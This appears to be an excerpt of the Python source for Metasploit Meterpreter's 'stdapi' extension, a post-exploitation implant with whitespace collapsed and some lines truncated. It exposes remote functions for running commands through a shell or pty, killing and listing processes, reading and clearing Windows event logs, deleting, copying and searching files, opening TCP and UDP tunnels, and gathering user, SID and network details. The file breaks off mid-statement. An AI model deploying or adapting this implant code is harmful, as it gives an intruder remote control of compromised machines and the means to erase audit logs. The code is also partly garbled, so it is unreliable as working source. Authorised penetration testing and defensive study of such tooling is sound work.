IFLA_BROADCAST = 2 IFLA_IFNAME = 3 IFLA_MTU = 4 IFA_ADDRESS = 1 IFA_LABEL = 3 meterpreter.register_extension('stdapi') # Meterpreter register function decorators register_function = meterpreter.register_function def register_function_if(condition): if condition: return meterpreter.register_function else: return lambda function: function def byref_at(obj, offset=0): address = ctypes.addressof(obj) + offset return ctypes.pointer(type(obj).from_address(address)) def bytes_to_ctarray(bytes_): ctarray = (ctypes.c_byte * len(bytes_))() ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_)) return ctarray def calculate_32bit_netmask(bits): if bits == 32: netmask = 0xffffffff else: netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff) return struct.pack('!I', netmask) def calculate_128bit_netmask(bits): part = calculate_32bit_netmask(bits) part = struct.unpack('!I', part)[0] if bits >= 96: netmask = struct.pack('!iiiI', -1, -1, -1, part) elif bits >= 64: netmask = struct.pack('!iiII', -1, -1, part, 0) elif bits >= 32: netmask = struct.pack('!iIII', -1, part, 0, 0) else: netmask = struct.pack('!IIII', part, 0, 0, 0) return netmask def ctarray_to_bytes(ctarray): if not len(ctarray): # work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0 return bytes() bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray) return bytes_[:] def ctstruct_pack(structure): return ctypes.string_at(ctypes.byref(structure), ctypes.sizeof(structure)) def ctstruct_unpack(structure, raw_data): if not isinstance(structure, ctypes.Structure): structure = structure() ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) return structure def get_stat_buffer(path): si = os.stat(path) rdev = 0 if hasattr(si, 'st_rdev'): rdev = si.st_rdev st_buf = struct.pack('> 8) dwBuild = ((dwVersion & 0xffff0000) >> 16) return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) @register_function def channel_open_stdapi_fs_file(request, response): fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) if fmode: fmode = fmode['value'] fmode = fmode.replace('bb', 'b') else: fmode = 'rb' file_h = open(unicode(fpath), fmode) channel_id = meterpreter.add_channel(MeterpreterFile(file_h)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @register_function def channel_open_stdapi_net_tcp_client(request, response): peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP) retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1) if not peer_address_info: return ERROR_CONNECTION_ERROR, response connected = False for _ in range(retries + 1): sock = socket.socket(peer_address_info['family'], peer_address_info['socktype'], peer_address_info['proto']) sock.settimeout(3.0) if local_address_info: sock.bind(local_address_info['sockaddr']) try: sock.connect(peer_address_info['sockaddr']) connected = True break except: pass if not connected: return ERROR_CONNECTION_ERROR, response channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack_local_addrinfo(sock) return ERROR_SUCCESS, response @register_function def channel_open_stdapi_net_tcp_server(request, response): local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] local_address_info = getaddrinfo(local_host, local_port, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP) if not local_address_info: return ERROR_FAILURE, response local_address_info = local_address_info[0] server_sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto']) server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if local_address_info['family'] == socket.AF_INET6 and hasattr(socket, 'IPV6_V6ONLY'): server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0) server_sock.bind(local_address_info['sockaddr']) server_sock.listen(socket.SOMAXCONN) channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack_local_addrinfo(server_sock) return ERROR_SUCCESS, response @register_function def channel_open_stdapi_net_udp_client(request, response): peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP) if not local_address_info: return ERROR_FAILURE, response sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto']) sock.bind(local_address_info['sockaddr']) peer_address = peer_address_info['sockaddr'] if peer_address_info else None channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, peer_address)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack_local_addrinfo(sock) return ERROR_SUCCESS, response @register_function def stdapi_sys_config_getenv(request, response): for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE): pgroup = bytes() env_var = env_var['value'] env_var = env_var.replace('%', '') env_var = env_var.replace('$', '') env_val = os.environ.get(env_var) if env_val: pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var) pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val) response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_sys_config_getsid(request, response): token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) if not token: return error_result_windows(), response sid_str = ctypes.c_char_p() ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p] if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)): return error_result_windows(), response sid_str = str(ctypes.string_at(sid_str)) response += tlv_pack(TLV_TYPE_SID, sid_str) return ERROR_SUCCESS, response @register_function def stdapi_sys_config_getuid(request, response): if has_pwd: username = pwd.getpwuid(os.getuid()).pw_name elif has_windll: token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) if not token: return error_result_windows(), response username = get_username_from_token(token) if not username: return error_result_windows(), response else: username = getpass.getuser() response += tlv_pack(TLV_TYPE_USER_NAME, username) return ERROR_SUCCESS, response @register_function def stdapi_sys_config_localtime(request, response): localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime()) direction = "-" if time.timezone > 0 else "+" localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36))) response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime) return ERROR_SUCCESS, response @register_function def stdapi_sys_config_sysinfo(request, response): uname_info = platform.uname() response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1]) os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3] lang = None if 'LANG' in os.environ: lang = os.environ['LANG'].split('.', 1)[0] if has_windll: os_name = get_windll_os_name() or os_name lang = (get_windll_lang() or lang) if lang: response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang) response += tlv_pack(TLV_TYPE_OS_NAME, os_name) response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch()) return ERROR_SUCCESS, response @register_function def stdapi_sys_process_close(request, response): proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE) if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] if proc_h_id in meterpreter.processes: del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @register_function def stdapi_sys_process_execute(request, response): cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value'] raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS) if raw_args: raw_args = raw_args['value'] else: raw_args = "" flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] if len(cmd) == 0: return ERROR_FAILURE, response if os.path.isfile('/bin/sh') and (flags & PROCESS_EXECUTE_FLAG_SUBSHELL): args = ['/bin/sh', '-c', cmd, raw_args] else: args = [cmd] args.extend(shlex.split(raw_args)) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): if has_pty: master, slave = pty.openpty() if has_termios: try: settings = termios.tcgetattr(master) termios.tcsetattr(master, termios.TCSADRAIN, settings) except: pass proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0, preexec_fn=os.setsid) proc_h.stdin = os.fdopen(master, 'wb') proc_h.stdout = os.fdopen(master, 'rb') proc_h.stderr = open(os.devnull, 'rb') proc_h.ptyfd = slave else: proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc_h.echo_protection = True proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc_h_id = meterpreter.add_process(proc_h) response += tlv_pack(TLV_TYPE_PID, proc_h.pid) response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @register_function def stdapi_sys_process_getpid(request, response): response += tlv_pack(TLV_TYPE_PID, os.getpid()) return ERROR_SUCCESS, response @register_function def stdapi_sys_process_kill(request, response): for pid in packet_enum_tlvs(request, TLV_TYPE_PID): pid = pid['value'] if has_windll: k32 = ctypes.windll.kernel32 proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid) if not proc_h: return error_result_windows(), response if not k32.TerminateProcess(proc_h, 0): return error_result_windows(), response elif hasattr(os, 'kill'): os.kill(pid, 9) else: return ERROR_FAILURE, response return ERROR_SUCCESS, response def stdapi_sys_process_get_processes_via_proc(request, response): for pid in os.listdir('/proc'): pgroup = bytes() if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit(): continue cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb') cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8'))) status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read()) status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) status = {} for k, v in filter(lambda x: len(x) == 2, status_data): status[k[:-1]] = v.strip() ppid = status.get('PPid') uid = status.get('Uid').split('\t', 1)[0] if has_pwd: uid = pwd.getpwuid(int(uid)).pw_name if cmd: pname = os.path.basename(cmd.split(' ', 1)[0]) ppath = cmd else: pname = '[' + status['Name'] + ']' ppath = '' pgroup += tlv_pack(TLV_TYPE_PID, int(pid)) if ppid: pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid)) pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid) pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname) pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath) response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) return ERROR_SUCCESS, response def stdapi_sys_process_get_processes_via_ps(request, response): ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) ps_output = str(proc_h.stdout.read()) ps_output = ps_output.split('\n') ps_output.pop(0) for process in ps_output: process = process.split() if len(process) < 4: break pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) return ERROR_SUCCESS, response def stdapi_sys_process_get_processes_via_windll(request, response): TH32CS_SNAPPROCESS = 2 TOKEN_QUERY = 0x0008 TokenUser = 1 k32 = ctypes.windll.kernel32 pe32 = PROCESSENTRY32() pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) result = k32.Process32First(proc_snap, ctypes.byref(pe32)) if not result: return error_result_windows(), response while result: proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID) if not proc_h: proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID) exe_path = (ctypes.c_char * 1024)() success = False if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'): success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) elif hasattr(k32, 'GetModuleFileNameExA'): success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) if not success and hasattr(k32, 'QueryFullProcessImageNameA'): dw_sz = ctypes.c_uint32() dw_sz.value = ctypes.sizeof(exe_path) success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz)) if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'): success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path)) if success: exe_path = ctypes.string_at(exe_path) else: exe_path = '' process_username = '' process_token_user = get_token_user(proc_h) if process_token_user: process_username = get_username_from_token(process_token_user) or '' parch = windll_GetNativeSystemInfo() is_wow64 = ctypes.c_ubyte() is_wow64.value = 0 if hasattr(k32, 'IsWow64Process'): if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)): if is_wow64.value: parch = PROCESS_ARCH_X86 pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username) pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile) pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path) pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch) response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) result = k32.Process32Next(proc_snap, ctypes.byref(pe32)) k32.CloseHandle(proc_h) k32.CloseHandle(proc_snap) return ERROR_SUCCESS, response @register_function def stdapi_sys_process_get_processes(request, response): if os.path.isdir('/proc'): return stdapi_sys_process_get_processes_via_proc(request, response) elif has_windll: return stdapi_sys_process_get_processes_via_windll(request, response) else: return stdapi_sys_process_get_processes_via_ps(request, response) return ERROR_FAILURE, response @register_function_if(has_windll) def stdapi_sys_eventlog_open(request, response): source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value'] handle = ctypes.windll.advapi32.OpenEventLogW(None, source_name) if not handle: return error_result_windows(), response response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_sys_eventlog_read(request, response): handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value'] flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value'] offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value'] adv32 = ctypes.windll.advapi32 bytes_read = ctypes.c_ulong(0) bytes_needed = ctypes.c_ulong(0) if adv32.ReadEventLogW(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)): return error_result_windows(), response buf = ctypes.create_unicode_buffer(bytes_needed.value) if not adv32.ReadEventLogW(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)): return error_result_windows(), response record = ctstruct_unpack(EVENTLOGRECORD, buf) response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber) response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated) response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten) response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID) response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType) response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory) response += tlv_pack(TLV_TYPE_EVENT_DATA, buf.raw[record.DataOffset:record.DataOffset + record.DataLength]) event_strings = buf.raw[record.StringOffset:].split('\x00', record.NumStrings) for event_string in event_strings: response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_sys_eventlog_clear(request, response): handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value'] if not ctypes.windll.advapi32.ClearEventLogW(handle, None): return error_result_windows(), response return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_sys_eventlog_numrecords(request, response): handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value'] total = ctypes.c_ulong(0) if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)): return error_result_windows(), response response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_sys_eventlog_oldest(request, response): handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value'] oldest = ctypes.c_ulong(0) if not ctypes.windll.advapi32.GetOldestEventLogRecordW(handle, ctypes.byref(oldest)): return error_result_windows(), response response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_sys_eventlog_close(request, response): handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value'] if not ctypes.windll.advapi32.CloseEventLogW(handle): return error_result_windows(), response return ERROR_SUCCESS, response @register_function def stdapi_fs_chdir(request, response): wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] os.chdir(unicode(wd)) return ERROR_SUCCESS, response @register_function def stdapi_fs_delete_dir(request, response): dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] dir_path = unicode(dir_path) if os.path.islink(dir_path): del_func = os.unlink else: del_func = shutil.rmtree try: del_func(dir_path) except OSError: return ERROR_FAILURE, response return ERROR_SUCCESS, response @register_function def stdapi_fs_delete_file(request, response): file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] if has_windll: subprocess.call(unicode("attrib.exe -r ") + file_path) try: os.unlink(unicode(file_path)) except OSError: return ERROR_FAILURE, response return ERROR_SUCCESS, response @register_function def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] if has_windll: path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) path_out = (ctypes.c_char * 4096)() path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) result = str(ctypes.string_at(path_out)) elif path_tlv == '%COMSPEC%': result = '/bin/sh' elif path_tlv in ['%TEMP%', '%TMP%']: result = '/tmp' else: result = os.getenv(path_tlv, path_tlv) if not result: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_FILE_PATH, result) return ERROR_SUCCESS, response @register_function def stdapi_fs_file_move(request, response): oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] os.rename(unicode(oldname), unicode(newname)) return ERROR_SUCCESS, response @register_function def stdapi_fs_file_copy(request, response): oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] shutil.copyfile(unicode(oldname), unicode(newname)) return ERROR_SUCCESS, response @register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux')) def stdapi_fs_chmod(request, response): path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] mode = packet_get_tlv(request, TLV_TYPE_FILE_MODE_T)['value'] os.chmod(unicode(path), mode) return ERROR_SUCCESS, response @register_function def stdapi_fs_getwd(request, response): if hasattr(os, 'getcwdu'): wd = os.getcwdu() else: wd = os.getcwd() response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd) return ERROR_SUCCESS, response @register_function def stdapi_fs_ls(request, response): path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] path = os.path.abspath(unicode(path)) glob = '*' if any((c in ['*','[','?']) for c in path): glob = os.path.basename(path) path = os.path.dirname(path) for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)): file_path = os.path.join(path, file_name) response += tlv_pack(TLV_TYPE_FILE_NAME, file_name) response += tlv_pack(TLV_TYPE_FILE_PATH, file_path) response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path)) return ERROR_SUCCESS, response @register_function def stdapi_fs_md5(request, response): try: import hashlib m = hashlib.md5() except ImportError: import md5 m = md5.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) return ERROR_SUCCESS, response @register_function def stdapi_fs_mkdir(request, response): dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] dir_path = unicode(dir_path) if not os.path.isdir(dir_path): os.mkdir(dir_path) return ERROR_SUCCESS, response @register_function def stdapi_fs_search(request, response): search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.') if not search_root: # sometimes it's an empty string search_root = '.' search_root = unicode(search_root) glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value'] recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value'] if recurse: for root, dirs, files in os.walk(search_root): for f in filter(lambda f: fnmatch.fnmatch(f, glob), files): file_tlv = bytes() file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root) file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size) response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) else: for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)): file_tlv = bytes() file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root) file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size) response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) return ERROR_SUCCESS, response @register_function def stdapi_fs_separator(request, response): response += tlv_pack(TLV_TYPE_STRING, os.sep) return ERROR_SUCCESS, response @register_function def stdapi_fs_sha1(request, response): try: import hashlib m = hashlib.sha1() except ImportError: import sha m = sha.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) return ERROR_SUCCESS, response @register_function def stdapi_fs_stat(request, response): path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] st_buf = get_stat_buffer(unicode(path)) response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_fs_mount_show(request, response): letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' k32 = ctypes.windll.kernel32 mpr = ctypes.windll.mpr # Retrieves a bitmask representing the currently available disk drives bitmask = k32.GetLogicalDrives() # List of currently available disk drives drives = [] for drive_letter in letters: # Check if drive is present if bitmask & 1: drives.append(drive_letter + ':') # Move to next drive letter bitmask >>= 1 for drive in drives: drive_type = k32.GetDriveTypeW(drive) mount = bytes() mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive) mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type) # Get UNC path for network drives if drive_type == DRIVE_REMOTE: buf = ctypes.create_unicode_buffer(1024) bufsize = ctypes.c_ulong(1024) if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0: pUniversalNameInfo = ctstruct_unpack(UNIVERSAL_NAME_INFO, buf) mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName) # Retrieve information about the amount of space that is available on a disk volume user_free_bytes = ctypes.c_ulonglong(0) total_bytes = ctypes.c_ulonglong(0) total_free_bytes = ctypes.c_ulonglong(0) if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)): mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value) mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value) mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value) response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount) return ERROR_SUCCESS, response @register_function def stdapi_net_config_get_interfaces(request, response): if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): interfaces = stdapi_net_config_get_interfaces_via_netlink() elif sys.platform == 'darwin': interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig() elif has_windll: interfaces = stdapi_net_config_get_interfaces_via_windll() else: return ERROR_FAILURE, response for iface_info in interfaces: iface_tlv = bytes() iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) if 'mtu' in iface_info: iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) if 'flags' in iface_info: iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) for address in iface_info.get('addrs', []): iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) if isinstance(address[2], (int, long)): iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) else: iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) return ERROR_SUCCESS, response def stdapi_net_config_get_interfaces_via_netlink(): rta_align = lambda l: l+3 & ~3 iface_flags = { 0x0001: 'UP', 0x0002: 'BROADCAST', 0x0008: 'LOOPBACK', 0x0010: 'POINTTOPOINT', 0x0040: 'RUNNING', 0x0100: 'PROMISC', 0x1000: 'MULTICAST' } iface_flags_sorted = list(iface_flags.keys()) # Dictionaries don't maintain order iface_flags_sorted.sort() interfaces = {} responses = netlink_request(RTM_GETLINK, IFINFOMSG()) for res_data in responses: iface = ctstruct_unpack(IFINFOMSG, res_data) iface_info = {'index':iface.index} flags = [] for flag in iface_flags_sorted: if (iface.flags & flag): flags.append(iface_flags[flag]) iface_info['flags'] = ' '.join(flags) cursor = ctypes.sizeof(IFINFOMSG) while cursor < len(res_data): attribute = ctstruct_unpack(RTATTR, res_data[cursor:]) at_len = attribute.len attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] cursor += rta_align(at_len) if attribute.type == IFLA_ADDRESS: iface_info['hw_addr'] = attr_data elif attribute.type == IFLA_IFNAME: iface_info['name'] = attr_data elif attribute.type == IFLA_MTU: iface_info['mtu'] = struct.unpack(' mtu (\d+)\s*$', line) if match is not None: if iface: interfaces.append(iface) iface = {} iface['name'] = match.group(1) iface['flags'] = int(match.group(2)) iface['mtu'] = int(match.group(3)) iface['index'] = len(interfaces) continue match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line) if match is not None: iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':'))) continue match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line) if match is not None: addrs = iface.get('addrs', []) netmask = struct.pack('!I', int(match.group(3), 16)) addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask)) iface['addrs'] = addrs continue match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line) if match is not None: addrs = iface.get('addrs', []) netmask = calculate_128bit_netmask(int(match.group(3))) addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask)) iface['addrs'] = addrs continue if iface: interfaces.append(iface) return interfaces def stdapi_net_config_get_interfaces_via_windll(): iphlpapi = ctypes.windll.iphlpapi Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) AdapterAddresses = ctypes.c_void_p() SizePointer = ctypes.c_ulong() SizePointer.value = 0 iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) if AdapterAddresses.u.s.Length <= 72: raise RuntimeError('invalid AdapterAddresses length') win_version = windll_GetVersion() interfaces = [] pAdapterAddresses = ctypes.byref(AdapterAddresses) while pAdapterAddresses: AdapterAddresses = 